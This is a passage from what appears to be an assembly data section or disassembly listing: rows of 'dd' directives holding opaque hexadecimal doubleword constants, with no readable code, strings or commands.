382C1BF0h dd 96050A27h, 8C8003C0h, 0E53A0Fh, 28798A1h, 27CB3BBFh dd 0EA47D800h, 193C9D61h, 3E560060h, 0E974B272h, 8A003750h dd 3F62E1A0h, 15D0770h, 75312E30h, 0FCD31524h, 5213A24Bh dd 760088E9h, 342B50E0h, 356D001Ch, 0DDBF5C36h, 0D8005DCBh dd 6144EADEh, 1E09537h, 60EDF332h, 0C09C482Ch, 8700FB1Dh dd 249F394Eh, 1E16C4E5h, 4083FAF0h, 1525F33Bh, 1C3E2E84h dd 0A6828095h, 7AFE50ADh, 0E87C00D0h, 184A3EE0h, 4900E60Eh dd 550BF1CFh, 0E940427h, 0C964B047h, 0A41B78E0h, 303C810Fh dd 0D14F8006h, 3D60286Bh, 170E00E3h, 2F491F31h, 6E014841h dd 863EAE68h, 0C0C48B2Dh, 0FA50BF07h, 100E4E2h, 0E86C18A0h dd 0E2ECA3h, 22F4FDF0h, 3A3E3339h, 983B8000h, 0EE3DB33Ch dd 3409000Eh, 0E14A492Eh, 0D2E6943Eh, 0F1D7E904h, 80C060EAh dd 7DA15B72h, 0BD903AAh, 8D3ACA6Ch, 9F379600h, 0D78EB84Eh dd 12F03DCFh, 43F100F0h, 936D391Dh, 9901A392h, 7470CCB2h dd 45CC3672h, 78981C76h, 805CF4E2h, 87E38C78h, 4E3C8000h dd 313D1642h, 0D4B40249h, 1B097E6Ch, 64610040h, 0FFD9FA01h dd 0D8C082E3h, 2496E0h, 8430170Bh, 38A0DE3Bh, 0E8FF3Dh dd 1DF612F2h, 0FE27FAh, 0F437B02Dh, 0B25AF849h, 734A6601h dd 0E2922E09h, 0CA54B07Ah, 3AD5F939h, 0FBFA00E7h, 28203581h dd 48A8001Ch, 504F7AB2h, 5801BA09h, 14642641h, 1D6424A6h dd 3F6098ACh, 2C13B4C9h, 3C2503BCh, 25903FCCh, 2A0014ECh dd 0AEB00472h, 4A0C76h, 18320F10h, 20CF1C8Fh, 284C9DE5h dd 34C82C81h, 60C85C9Fh dd 0C2640093h, 0F0786CEEh, 5E75747Eh, 0E18088C0h, 72F988F6h dd 7690748Ch, 0D39C7894h, 0C8630080h, 0FCD0E864h, 0B892D400h dd 0E04DDC7Eh, 67983Ah, 1007EC2Dh, 0E4F8E7F4h, 42D3FC00h dd 0A22C9324h, 2E91C30h, 0F13CC038h, 6844F940h, 66011C4Eh dd 10542E50h, 5CA05344h, 0F498F090h, 1F52949Ch, 9FA89FA4h dd 92B085ACh, 0BCA203B4h, 5AF1C0C9h, 0F3FF31C8h, 0DCEBF0C9h dd 10010F1Bh, 83840B3Ah, 0DC42C29h, 3D604D1h, 803E873Ch dd 5869A02Bh, 0C5E1BF00h, 0D2F1CEE9h, 0FEBC7E38h, 0F3EE1EBAh dd 3F0280F2h, 66013142h, 0C8986C00h, 37DEFB50h, 741A0172h dd 0D7C4A78h, 69B03084h, 0D62D8A0Fh, 0EBFB0007h, 5407849h dd 0F03C6E68h, 4BC68070h, 0E7B0212Dh, 0B745AB03h, 98D662D3h dd 2DEFE2E3h, 6F004EE8h, 0F8895961h, 587E3C5Ch, 7E5C59h dd 3D0283DDh, 0AB9322h, 0A73E19A0h, 27E8CAE4h, 33033FE2h dd 67521687h, 0A593A873h, 700827B5h, 0E000E674h, 0C77230F8h dd 68D4004Dh, 5731130Eh, 0C1016349h, 0B3E182A2h, 7F49038h dd 4E560032h, 331883D7h, 88739250h, 0B300667Ah, 8FD2300Fh dd 0FBCFE6h, 0EC2708C9h, 0E0224418h, 0B62C4BE4h, 9F005CAAh dd 836F9769h, 0F39D1C6Ch, 0F2AD80A7h, 4A0AF8B8h, 3C3EC57Dh dd 0BFD9BFD3h, 51ECBBE1h, 0AA9D60C0h, 74077202h, 6015760Dh dd 5217A74h, 2F7E297Ch, 0C0D11CCFh, 274BC945h, 0E7395DF6h dd 0F4720065h, 8AF8927Eh, 0AEF20049h, 0FCBAEA24h, 13F8BCC2h dd 1682DD01h, 49B8D8F8h, 583BDAD4h, 3D385225h, 0D64B2483h dd 0C05E639Fh, 0F79E90Fh, 8F874F7Fh, 0C09DCF8Fh, 49B592A7h dd 61C303CCh, 0D7F9D1B0h, 0E3A3DD93h, 0D06CF3B0h, 12E38h dd 1E13E2A6h, 14FDC17h, 28823302h, 0F8508F38h, 39000A16h dd 0C46EC31Ch, 163A18B0h, 10E4D1h, 142E8615h, 7F0B96EEh dd 0D6BC83h, 0E4CF3D80h, 3E2D000Bh, 36740417h, 29029EB0h dd 3A533F39h, 35E0FF5Fh, 44001C7Eh, 0F9C0C30h, 398595DBh dd 8C80FF60h, 86B18284h, 44070292h, 0E15C1449h, 88F981AFh dd 1670092Ah, 4F221D50h, 0A08EC798h, 33E190E0h, 3400C213h dd 59EC4AC6h, 0E6195D6h, 72692CD8h, 50CEAEC0h, 2CB0AD84h dd 52382700h, 0E05A3E05h, 92620026h, 5B6A7EBAh, 0EA090B72h dd 0EC617Ah, 5FE98643h, 7BE0024h, 0FE4AC90h, 17FE13E8h dd 0BA3E04B8h, 0D33E6782h, 0E01CD722h, 9D2730h, 92AA1DA6h dd 89BE5EA7h, 2F2B3E02h, 60A414C0h, 1BD3A3Dh, 9425FF4h dd 0EC51019Ch, 0A0006012h, 6CE868E6h, 0FC3108CEh, 32350087h dd 33092139h, 0B100C90Dh, 5F343CD0h, 0F40B40h, 0C832E1C0h dd 765E41EAh, 257AC90Bh, 0D3430462h, 0F8838580h, 0F6743FACh dd 0B914FA80h, 1790BD38h, 80623900h, 793A7578h, 0E87D03E4h dd 5D3B2659h, 0C3B8B4CBh, 0A300B734h, 3D43B0BBh, 207E49Fh dd 3A1A3E48h, 2740240Fh, 1F71FAACh, 127E23ECh, 0C326161Dh dd 0F3A2EF00h, 3A508084h, 5780BC08h, 8AB8AE30h, 3101430Bh dd 0E1DA424Fh, 87CC7B9Ch, 0F19402E9h, 0BF3C34A6h, 0DE7459D8h dd 997F500h, 7BBCC95Ah, 3C9100D9h, 3FAF3E6Ch, 0F3002DE7h dd 0A012A205h, 0EC249Ah, 0F42CF028h, 0F2AAA338h, 2A680E0Bh dd 96058347h, 713F898h, 12140037h, 3FB24BDCh, 5E006C24h dd 0FC7778E0h, 88BE84h, 0CF39C307h, 0E147D627h, 0B8EB6400h dd 3A080E40h, 4E7D1Ah, 3C703389h, 787C527Ah, 248E7E39h dd 49000CBDh, 0E03A2CC7h, 0F5F2583Bh, 0A007D148h, 703D0E20h dd 0D74BCB3Eh, 0F6542702h, 63A5FC87h, 0BC28F892h, 44F20E10h dd 0D8C0A135h, 9D301411h, 1D720201h, 0C0DC9697h, 732A260h dd 924FE443h, 7A6E80D8h, 94004974h, 60CFD6D0h, 5C9E7Ch dd 5880DA12h, 9A1B340Fh, 3A51F60Eh, 60F8E0B2h, 72FC5C90h dd 98B5A7Fh, 908FAAF3h, 0CEBAE680h, 4A125276h, 1903825Fh dd 0F3B0C324h, 9854F0D6h, 37E0018Eh, 5C84204Ch, 0FC38204Eh dd 0D0B0EA04h, 81EA6894h, 213B121Fh, 34DF204Fh, 0CEF0B603h dd 1F9E9Ch, 1B3C10FCh, 43FA0729h, 0F04F6500h, 7BF86E6Ch dd 9C3200B8h, 1F06267Ch, 0BF0293B3h, 0F3DE7283h, 0FAD668E6h dd 5D6A7A70h, 0BB00D011h, 0DF4AD378h, 0FE24960Fh, 0CC00FCC4h dd 8C8170B0h, 9F0100CEh, 0B8C9AB30h, 1A03093Ah, 5E08D00Fh dd 5D78A835h, 2469000Bh, 0FCBC7AD2h, 0A1E4993Fh, 87A92501h dd 0C5E7B63Ah, 0EE4CDC8h, 83A295D5h, 3F2F7A0h, 740068F0h dd 783E9822h, 574946h, 259B3FA8h, 41E462A5h, 0F8FEAC00h dd 9354338Fh, 0ECEA01F6h, 3904F0F5h, 6DCF4034h, 8100752Dh dd 433509E8h, 1F284FC9h, 406E3CAAh, 0A8D0877Fh, 0E401B6E7h dd 84BA85BFh, 26CCA0DEh, 167C0094h, 28AED94Ch, 9302F27Eh dd 0F9B0A6C9h, 761350B6h, 2DED78E1h, 0CCDEF8F7h, 9E0E0D04h dd 324EEE0h, 0EA924210h, 0C08C5056h, 23745A94h, 0F2906603h dd 0DBA27099h, 0F8C5EAB5h, 0CDB8FDh, 0FA25A8E8h, 0C90C6E61h dd 20D1140Fh, 2FE140D9h, 7F13BE9h, 6C0B2B44h, 7BC0BE58h dd 0FCB778A0h, 79DC300h, 0F4E7EB88h, 0AC0400E4h, 0CF738E3Eh dd 8B000F80h, 78D09349h, 22A95Bh, 9CD8D39Ah, 7F72DA98h dd 768F7400h, 0BCB5AA2h, 8C084C78h, 42D11E00h, 1D880E2Eh dd 9F294E00h, 3D4D3CFBh, 5D3E0157h, 0E4876827h, 938FC882h dd 0F3B2660Eh, 0F0CD45C2h, 0DA4F1FEAh, 0BAE09E1Bh, 0A5005787h dd 7B5AE067h, 1C1F4CBCh, 80E79FA4h, 0A0FD92F3h, 0B2E4219Eh dd 96581D03h, 0D0C4C264h, 58B88EC9h, 6C005BF9h, 0E3F2E04h dd 8C059230h, 0F4AF56A0h, 48058F80h, 0C8B23AF6h, 0B4398900h dd 24C433CEh, 742EA201h, 0A044128Eh, 5FB26660h, 0B44F0EAEh dd 0E9C0BE8Eh, 0E310413h, 28050790h, 4BF045ECh, 0A2923C80h dd 0F6F034Fh, 88CF815Ch, 0ADCBA390h, 27F06112h, 0E13E5D80h dd 0E95101FAh, 3F6A3C5Ah, 2B78C96Dh, 598D1609h, 0A2B11214h dd 3FDA3F94h, 58FC00F2h, 3A1939ECh, 443B2C2Fh, 623D0049h dd 2437A27h, 8A34813Fh, 96351EC9h, 973E803Ch, 95AAC277h dd 0B87E7170h, 0C3E203AAh, 6F2FD30h, 0AF7462D8h, 9B74E04h dd 27B0D044h, 0F9E4E5h, 5F1DFF4Ch, 8952640Eh, 560241EAh dd 3881E975h, 2EB541Ch, 22C12EB3h, 428336E0h, 21A3181Eh dd 35C32AC0h, 0F583BD2h, 0F575AF8h, 92CF7DE0h, 610FAAC9h dd 0F9BDE8h, 0FCF4BC34h, 38390008h, 3B2D3A12h, 4B003C43h dd 9F905524h, 1274976Ch, 2C918C2h, 0E2E112C4h, 390CE440h dd 3C70142Ch, 0DA834500h, 0FE60D353h, 12F0036Ch, 814FEEB8h dd 0F3D80AE8h, 0F100DD72h, 70D0FDF2h, 4B7445B0h, 5B4EC03Eh dd 5D00667Ah, 803F7E6Fh, 0EC18B25h, 0A6F99FCEh, 0E28B043h dd 0E005C2D9h, 1E0392D8h, 20B449EAh, 0C02CEA3Bh, 0F416Fh dd 61574B4Dh, 93F985FAh, 2C6440C0h, 197ECh, 173C07A2h dd 41D122C9h, 2452D900h, 0C4926FC8h, 0C29D0F49h, 0DA45D63Fh dd 996E80CCh, 9F0FA34Eh, 0BD3C3Bh, 0C1C725C2h, 0F9D11C60h dd 3ADB9DD6h, 3E6AF880h, 83747972h, 0BA934800h, 133F0AC2h dd 5FE870h, 767C0F45h, 0A68F854Fh, 3E3CF39h, 900EDCF5h dd 70409801h, 4E0F018Eh, 582D8921h, 0E0B4F5FAh, 760EC359h dd 4E86F379h, 0F29F808Eh, 4DECE9A4h, 0F13082B9h, 72310C89h dd 20491600h, 3D323CBEh, 347E23Eh, 6D27663Fh, 99F85EECh dd 0AC3825C0h, 6005070Bh dd 0E6C593CEh, 2504180h, 0C314034Fh, 5DB3285Ah, 0B2D381A8h dd 0F2BBE309h, 5CD880E6h, 486E2D2Ah, 580570FAh, 0F0817C90h dd 4E019555h, 0BF5E0F9Eh, 0D6C9C9CFh, 72C2DECCh, 0FA702C60h dd 765D06AEh, 27008D7Bh, 0D9F641C1h, 7938E9F9h, 4B037946h dd 7E5FCEEh, 853D7E58h, 2E0591B0h, 16A101ABh, 0FCCFCE20h dd 92F1C8DFh, 1101CC7Ah, 84321E36h, 0F840563Bh, 22824Ch dd 4F2A7063h, 8EF60F7Ch, 98CF39h, 0C2A8CBA1h, 3A94E124h dd 27AE38D3h, 1E200FC5h, 0B3329201h, 0F0C14768h, 0F1A0E288h dd 0C21F1200h, 0DF27C791h, 0E2F8F641h, 72380F07h, 83E04E15h dd 64C35CD8h, 0E26FD307h, 0C69049B2h, 924D7F9h, 859FEDD6h dd 5AFE9170h, 8056B03Ah, 0F8A6F490h, 9A94ABh, 0AAA0D813h dd 773A394Eh, 3E1E59F0h, 4C0EC49h, 40900C3Dh, 423000BCh dd 0ADA0997h, 1239E002h, 8E76B857h, 409F84ECh, 98A8BB2Eh dd 6B30FF3Fh, 9E100326h, 5B133C9Dh, 7C27D400h, 6CC7D461h dd 7405EE14h, 0F83B1F84h, 84629F96h, 80F99EBAh, 4E740C38h dd 9D9A2D38h, 6B805678h, 0CFA2E80Fh, 0EECB00E5h, 34030E41h dd 1CF81694h, 1700FDB8h, 4A384929h, 395D9699h, 890083F9h dd 0A1278A68h, 0B17BAC61h, 0D26CCB00h, 6436DE2Eh, 184E00FCh dd 78D82A49h, 3BF01EB8h, 8756C23Bh, 30546C62h, 0C0D375A2h dd 0EB53CAAh, 0E27E0E50h, 95DF140h, 430E2506h, 63AF3487h dd 14A4D9h, 3BA03AACh, 3DB43CA5h, 0DE2CC91Fh, 3EB18404h dd 58882A80h, 0FEDBFEDAh, 1E3F4DFh, 0A861E725h, 71F3F9EFh dd 6CFBD038h, 70EFA05h, 0FD000D3Fh, 37CF258Eh, 4F3D380Fh dd 1E558F9Eh, 0C96D8067h, 4EC05881h, 50839502h, 74C8F3BAh dd 80EB1D7Bh, 0B004F7FAh, 0E4000982h, 1B11C4F1h, 3C533Bh dd 3E5B3D57h, 4E63265Fh, 0C26B9200h, 50698074h, 0C4C2A09Ch dd 36AF4B8h, 0F6C97831h, 1000D9BDh, 2775760Bh, 64B5E0h dd 3ADCAC4Dh, 1C5A2472h, 351A8500h, 0BC9093A7h, 0DBC600A2h dd 37163896h, 76001D04h, 0C8C50C17h, 8DF40Fh, 6CE1918Bh dd 539DF999h, 0F2A5FC00h, 0C5FEA7A9h, 0E4D900E7h, 1568F0EDh dd 840E879Fh, 8251673Dh, 0C08CF872h, 8EC19Eh, 90093E82h dd 4F92F08Ah, 7C42E6E5h, 0A27E3A40h, 0C2AA4A00h, 887CEAB2h dd 0E0120313h, 5DE84982h, 987A9CD8h, 7E0EACFAh, 0E0E959C0h dd 253A110Eh, 3BFA005Fh, 3D613C4Dh, 0B27B3E87h, 0E5072D9Eh dd 0E4708464h, 1F11B58Ch, 6CAB9Ch, 9302F624h, 8600C218h dd 0C0E48457h, 9085E808h, 4E5D2C33h, 0B3CF003Eh, 0BB4BB70Fh dd 5BA25001h, 0CB4C0BC3h, 0A4392EDDh, 0FDB0C7Bh, 311EF754h dd 2D921C09h, 80418BC9h, 2171FE4Dh, 33B01F28h, 0D1C300B9h dd 344CD8D3h, 0AC394F2Eh, 36E9A300h, 0EAF8E1EFh, 0BF50002h dd 0FFD131FDh, 820787DAh, 4C35272Dh, 49F044E0h, 4749Fh dd 97C2A076h, 87260BB7h, 0E5A31C00h, 0AFEAB0A7h, 0BAB300FCh dd 54BB7E22h, 0C70B9EBFh, 80508BB5h, 0F34BE1B1h, 3F80561h dd 8342092Eh, 23D83E61h, 0C23B3A84h, 305C8351h, 77937B1Fh dd 70980186h, 34AC5D5Eh, 0CA2D603Fh, 0DE08C102h, 0C0060F2Eh dd 580A12h, 4A3074FEh, 44F6C838h, 0F8919500h, 0FA272B50h dd 36A41EFBh, 3A564045h, 0DC9270E8h, 4AA97400h, 0E0CC5FD5h dd 0FD41D6Eh, 810E40D3h, 0E1ECB1E8h, 9511F003h, 0F0998A04h dd 0EC0F5E2h, 9C8F3263h, 9EA81D60h, 0E30016BAh, 93F726E1h dd 41747h, 0F8C26334h, 9EC669D7h, 95A7C00h, 0A966374Fh dd 968500A0h, 6E50920Eh, 0CE0F7E49h, 602E7824h, 0B08E16AEh dd 0F0EB121Ch, 0D2740042h, 0BC6B4466h, 0DA2E2637h, 0D5D0B8B7h dd 4BBEA8h, 3DF28329h, 0F0E947B2h, 0E68F5E50h, 7EC97305h dd 9D87DA70h, 0AB5A9D50h, 0BE443EC2h, 0D21FA400h, 0F8490D97h dd 20E1290Bh, 0FBAE05Bh, 0CF862C8Ah, 0C9960767h, 0AE24F29Eh dd 0BE748E58h, 93FC600h, 2AE4D68Eh, 3D030013h, 260F097h dd 7D003E2Fh, 3F217081h, 4386C29h, 4C26453Bh, 500ABAEh dd 0C811E088h, 39EA015Ch, 2D663A2Fh, 0A7868076h, 0A8CEBC24h dd 3C0F5CDCh, 414F3300h, 0F07E3409h, 0D85D9C00h, 50BA5CC0h dd 953800D7h, 0A0596685h, 0F8009E1Ch, 0DC1AFCF5h, 3D519D3Eh dd 0C58B7B1Dh, 1380E112h, 5EFCF04Dh, 0E4168800h, 5014C609h dd 44762CD8h, 607A013Ch, 0DC4B7B7Ch, 0DA014A0Eh, 30D0E98Bh dd 0EAE41B4Eh, 46CF0034h, 0CC38C003h, 4B00DD92h, 0B2F0BDE4h dd 9E9CA8h, 0D126C26h, 0E82972E0h, 6A9A3700h, 8549807Ah dd 0C72700DAh, 9CC11642h, 0CC4C68D6h, 0EC80B14h, 727D003Ch dd 0BFC9FD8Eh, 2F4DD583h, 0EF8020E9h, 509BB0E7h, 6898B038h dd 101CEA00h, 2F92153Fh, 0D6282CE0h, 8E9F03FEh, 32B009B6h dd 6800C19Ch, 0D136C926h, 3A49D93Eh, 5E87B228h, 70617F2Fh dd 960B3FA0h, 24D8B50Bh, 0C4B88098h, 0DAC954h, 50859DD3h dd 15CAE0DDh, 2931260Fh, 92626088h, 0AE8276h, 2C7C7E9Eh dd 3249017Ah, 4D334200h, 0EC3C80C9h, 84D7002Fh, 0F6F819DAh dd 0C101BC27h, 166EE9D8h, 0DA300964h, 0B89C0058h, 4C897898h dd 1C0091A5h, 4E9D4636h, 169E5E1Dh, 0B0831E66h, 0A800ACA7h dd 746C72BBh, 0E27693h, 69385C12h, 0B27C2683h, 6600C9E8h dd 0F9B4F1A1h, 27BCAh, 0C390516h, 17A34AC3h, 0C223B300h dd 7E06702Fh, 525E0040h, 0C968660Fh, 36094188h, 0D96C6494h dd 69201EBh, 0CC4A74B0h, 0E6724009h, 3A024200h, 2CC2104Eh dd 70E8FC3Ch, 28682641h, 2A8E3F4Bh, 0FA00D34Ch, 0DD315230h dd 34293300h, 84A7672h, 0AB0C1C0Bh, 0D3E640h, 58C98D5Eh dd 880E3C20h, 0A00965E4h, 0E3603E41h, 6CD0F78Ah, 707D2Dh dd 0E498C720h, 232979Ch, 0DE1C1072h, 0F88045C4h, 620D2F22h dd 66E113EAh, 7B980006h, 0D812EE0Bh, 1A4BF002h, 0E2C63AC3h dd 33AEC013h, 0BEE400AFh, 265081B7h, 3C019335h, 410E251Ch dd 0E0306474h, 0E2E80030h, 9682DC06h, 8600562Dh, 5A2C621Fh dd 91DA49Dh, 3CFE81FBh, 0C8FA4D80h, 1C003E57h, 93713F46h dd 0B4E179h, 0F4B12260h, 0FCC7F8BCh, 58DDFF4Ch, 947C053Ch dd 0C3C0FE80h, 901D31h, 96849754h, 2E08BC1Ah, 25CA6F00h dd 40E15E87h, 553800F4h, 745B7239h, 8F704983h, 3EAE3D00h dd 0EAF32CC6h, 1EC001B3h, 46A2B92h, 0E956E4C1h, 4B00F1E2h dd 0F24CE238h, 3824763Bh, 3D80099Fh, 4E32D847h, 2E00C366h dd 0DC94D28Ch, 279C122Ch, 4DC19E83h, 4A1670F2h, 96B41F07h dd 893C2F6h, 22929063h, 0B29D0043h, 7CD07054h, 0BD007EB8h dd 0C53F8917h, 74230B1h, 7724F080h, 499E00D2h, 0E100D6FAh dd 6807E9F5h, 3263A66h, 3CE42B24h, 0D9B88F3Dh, 2D3E93BCh dd 0EC560BA0h, 0B575815Eh, 0E7F8FA07h, 0F9E405F1h, 0C05D6093h dd 856449E8h, 27CA781Eh, 0A17207C0h, 14E4ACE7h, 0BE76E0BBh dd 38B4CE00h, 60A00A17h, 89951A00h, 311C04B6h, 3C74B8BCh dd 4F81613Dh, 0FC5BE434h, 608E6163h, 0B7E2B0A5h, 98879703h dd 93CEE7C4h, 0E4DAA0D5h, 9CBC01E2h, 5804F32Dh, 2794DC09h dd 8C07161Eh, 93FE8FC0h, 0FE36323Fh, 7E8A3C70h, 3772007Fh dd 8640A06Bh, 0A5E21CB4h, 1DB89D00h, 15F09ECDh, 2FFA002Dh dd 8BCA856Ch, 0C80ED4D3h, 0C03CC1E1h, 3E7C0C92h, 5602C11Dh dd 0E4C36296h, 1B0BE0FFh, 0BE273Fh, 0B64F46DCh, 7449176Ch dd 7C5E04D8h, 0C8B3C05Bh dd 401C5070h, 1C014F0h, 0EE300BA3h, 3A7C32h, 0F916640Ch dd 2F34B8FDh, 0C6610500h, 0E177310Dh, 0E3B0086h, 29ED25E0h dd 560028CCh, 2E7353Fh, 741C53Dh, 0FC4992A0h, 0FD51204Dh dd 59008C20h, 611FFA94h, 76593h, 25923B98h, 9A08E002h dd 380A9C00h, 1FEC824Ah, 0F77A48DEh, 987C4B00h, 76165C26h dd 96308312h, 0ACFA4A00h, 12B0D4h, 0BC684FB4h, 7678C0CBh dd 75C85B3Bh, 50F08B00h, 87F84ACAh, 3F032772h, 0C200D4ECh dd 7E265814h, 48204A1Ch, 0F413F68Bh, 28EEE292h, 6000FAB7h dd 68E564E7h, 3E70DE4Ah, 0B9935EE0h, 3EBEA0A8h, 0B41A0F00h dd 6AA7B8C9h, 0C4E400C0h, 0FCCC64E0h, 0C600BAD0h, 0BECBD85Bh dd 0EB250C9h, 40C61F0h, 0C32A08E0h, 14E6104Ch, 0E318D300h dd 0F020F21Ch, 285B0086h, 79FBD0C7h, 580E71D2h, 46FA5CF9h dd 8AE548h, 7CFC78A0h, 8416A29Ch, 8CE8F012h, 13EA5700h dd 0B682B4h, 0CCE058C0h, 88D860C9h, 2305E71Dh, 2D01BC9Fh dd 0C0C83166h, 0C93CCCh, 0F0686F40h, 4F2EFD64h, 81709E3Dh dd 7CECC174h, 84C880F9h, 2FE60078h, 9404418Ch, 65A2E7Ah dd 0E3C0F5C3h, 760CE2C4h, 0E8E2840h, 0DCCFD8E0h, 1CCB405Dh dd 2C5FAA70h, 3C100905h, 94A87C78h, 0E15C8A00h, 74F96C12h dd 84222F00h, 44AE568Ch, 0AAAC01A4h, 0A661B425h, 588240C4h dd 0BF63064h, 0A4701A00h, 0B8E884D2h, 0B8C752Dh, 16FC9462h dd 0B84970h, 0A803A47Dh, 6FB02CC1h, 7BB8F80Bh, 1C4107FEh dd 0A02F3834h, 20704832h, 0F5C5A00h, 6CCB689Ah, 2FF0747Bh dd 0AB63DC79h, 96F441BFh, 0C04630F8h, 8004353Eh, 0E164C611h dd 0FA6CE968h, 0AEE70h, 0E285B778h, 0B9E4BC80h, 0C07C3E01h dd 0C20B9FC8h, 0FAD464F4h, 0DC2D00FAh, 0F1C9FCE5h, 301FD9D2h dd 38800B3Eh, 7C7214D1h, 4FDE00E4h, 0A0E68298h, 120036F4h dd 0B0AA83A8h, 0F2B4F3h, 4F48D0B8h, 96F69FC0h, 10609C00h dd 18888597h, 206A3EB0h, 28068480h, 64E808FDh, 1344BC01h dd 740EF06Ch, 80A8C680h, 88B00F2Fh, 588CC900h, 0DE944FC6h dd 0D08F0E1Eh, 5263D4CBh, 0E090DC7Eh, 0B00E45Bh, 8650ECAEh dd 3F0FF45Eh, 0E80FC76h, 8490438h, 4A48EE58h, 18F00073h dd 0F4561CE2h, 147B01Fh, 162C9328h, 0D8A4B1AFh, 0E07F3C02h dd 87B5440Bh, 75F858h, 4B854E4h, 602F5C3Fh, 15A00E03h dd 85B6AB01h, 3FF013Bh, 40E86090h, 0EB0E1506h, 87821144h dd 2EB590DBh, 4D02E00Ah, 44BB18DEh, 0DD039029h, 719D2B18h dd 33BD8311h, 89AD30D8h, 832E2FE9h, 3E850F0Eh, 8D183B05h dd 5027E030h, 0EC2095FFh, 60897D31h, 0F88B1BDCh, 0ED669D8Dh dd 432D5311h, 797936E8h, 21FA4228h, 4E7D4457h, 6A49D48Bh dd 6A075618h, 10066804h, 0DF46EAA0h, 4C6D38ABh, 75264268h dd 2A453AA3h, 0E853C70Ch, 7F8B3774h, 0FBD51C8h, 1B41B5E1h dd 0ACE2A4F3h, 0A3807623h, 57E35036h, 850E0E8Dh, 7EF2C51h dd 10AC3C0h, 2100409Ch, 2002B063h, 7F3C9008h, 145200C4h dd 4409108Ch, 0D8BD21CCh, 57E100E0h, 330E0520h, 8500222Ch dd 4FF016Fh, 559D8Bh, 0B0CC02Ah, 0A7A74DBh, 870003ECh dd 89195985h, 318DF0h, 831171B5h, 840FC03Eh, 47D36A1Dh dd 468B4043h, 68E4C004h, 141EFC99h, 9A063850h, 0EC305586h dd 8B560D1Fh, 9D0309C5h, 51A0BB05h, 2F29A03h, 6EBD8880h dd 12D0070h, 85FE4C75h, 8B0F0940h, 0E050033Eh, 370EFF1Eh dd 0C30707C6h, 0CF8FD7A7h, 535651A3h, 83BA00D5h, 0B55506E9h dd 33173FE0h, 56000BDBh, 1A781C03h, 0E83C17ACh, 0E9FA00BBh dd 494304D8h, 0EDEB0100h, 0C3831E29h, 0C6CD0005h, 0FA4C76F3h dd 5B070DE0h, 6258595Eh, 36104837h, 0F90CC1h, 8DA5F302h dd 3C0377E1h, 535EA400h, 809C5088h, 9B853B82h, 7D8A083Bh dd 1ED57AB2h, 0FF45C0C1h, 64E402A9h, 0E10729FEh, 864B5595h dd 2B0F1970h, 79D89DD0h, 0E8C1C200h, 0B88A4610h, 235D0067h dd 4C3A6D03h, 0FC0074FFh, 834E548Bh, 0D17308h, 0ADCA7DACh dd 0C107EF66h, 910CEB00h, 9D7401FBh, 5002070Bh, 0C7033D16h dd 2F2CF020h, 0E3001481h, 79820FFFh, 0E604011Fh, 7E1D79D4h dd 390EEEB2h, 8DBD462Dh, 0B8E20200h, 61DC9ED9h, 128B4B0Ah dd 6000E203h, 40C0850Ch, 1539071h, 0EAC2EB83h, 20C7A2D8h dd 26000CF0h, 53073275h, 29F016h, 4A4D6E04h, 413BB4C7h dd 0C403A901h, 66470646h, 107AD8h, 1B57ED6Ah, 7ED618B7h dd 0FA511A00h, 850D41B0h, 0A49900DBh, 62F759A2h, 802501ECh dd 0F0F475h, 5653C543h, 6500028Ah, 19B5AC7Fh, 0E6E8B850h dd 755B0367h, 2A25A66Fh, 0D28B57E0h, 83659839h, 31342BC7h dd 99E9D842h, 4939012Ah, 37DC3606h, 188EDC53h, 5A247500h dd 0C1124AD3h, 140200E2h, 3F7C0F63h, 835F3C7Bh, 30AE0h dd 0D91CA35Ch, 0A1DE1304h, 0EB5F2300h, 21515A16h, 8177A4h dd 8307894Bh, 3704B14Ch, 0AF32E900h, 4A2D06E7h, 710E892h dd 0D9141C0Ah, 0FEEBF0C1h, 8500BA24h, 0A4506544h, 735B483Dh dd 100400C2h, 61022F11h, 0B81F0875h, 0C402201h, 32BF54Bh dd 1C9300C3h, 0B715588Dh, 0AC005051h, 7656DCD3h, 3942DEBBh dd 0A3804825h, 2708ED21h, 9400DB30h, 641A8B4Ah, 38D83D3Ch dd 0C40283D0h, 306A5F10h, 0E1468961h, 0C9C2301Dh, 2C47F600h dd 513C978Ah, 74985Bh, 43A57729h, 14959FEFh, 4CC2CE01h dd 0F4391833h, 0AB10D4h, 0AC4A4051h, 779F196Eh, 53D51E00h dd 56D28D89h, 0E49B00F2h, 68C598F0h, 0C73BC84Dh, 50D480DAh dd 5C9CB6BEh, 31EEE4h, 13B5A1Fh, 3733888Ah, 0EF60DA00h dd 0BB86BC39h, 0E2EE006Fh, 1072C6DCh, 0AE0096FEh, 24CF0A7Dh dd 0ADB14Fh, 4C2A4481h, 0CDD53940h, 0C8012301h, 79B62C09h dd 0BFF1E4h, 17607C0Eh, 0AB51E0FEh, 8D0061EAh, 1690FBD6h dd 2FD240h, 28A1B4D4h, 587CC109h, 0B8191100h, 98107174h dd 0C72A0059h, 0BEBB8531h, 80009F8Bh, 233935E8h, 37BD87h dd 92DF5D63h, 4E4F0372h, 6D009579h, 57B9D5E4h, 38DEA83h dd 82B7CD0Fh, 7C00DBCh, 0B103FD41h, 87A3972Ah, 8ACFE029h dd 48240078h, 0B7EA61E9h, 0D5EE7649h, 0F768441Dh, 0A1145080h dd 0F2C4BC60h, 0C8E0027h, 0A0656631h, 0BF00174Bh, 3FD6872Ah dd 6EEDF1h, 0DC8ED3BCh, 0AD30EC57h, 0D548E5FAh, 56CB05FDh dd 0C3BB4CF1h, 800A1DBh, 0A575C410h, 8CDBEh, 31E18193h dd 42CED970h, 0DE19DD1Fh, 71959987h, 3F8F1CA0h, 4698003Dh dd 0DB31A266h, 50030A8Eh, 5DA8D0F7h, 59C6D05Ch, 24D51EC2h dd 0B842CF0Ch, 0BD49E9C0h, 8100262Dh, 62CDBB78h, 0A2023h dd 0B0FCEC59h, 5C33F086h, 0D79BE600h, 0ABE21B42h, 411C0060h dd 5D740602h, 0F00ECC61h, 7F834AC6h, 2FA2EC0Eh, 31472075h dd 0D55E0Fh, 0B39E8D01h, 0C78E62D4h, 5A1DCD00h, 0F5B2F9A4h dd 0A22F6092h, 1C684ADEh, 512E1E0Eh, 451A4069h, 0F430F8Ch dd 0B82A844Eh, 0FA7B6C20h, 0B400A860h, 768BC7DFh, 7DB91A0h dd 179A270Ah, 487F006Bh, 0EA038997h, 633644D0h, 1504E083h dd 18CECDFh, 35586176h, 0C46F24BFh, 0E63B5599h, 0EC2B0019h dd 17685464h, 0A16A00D0h, 0BB2624A3h, 0F47C76F0h, 1DAFDB04h dd 8280E69Bh, 88662Ah, 650824C9h, 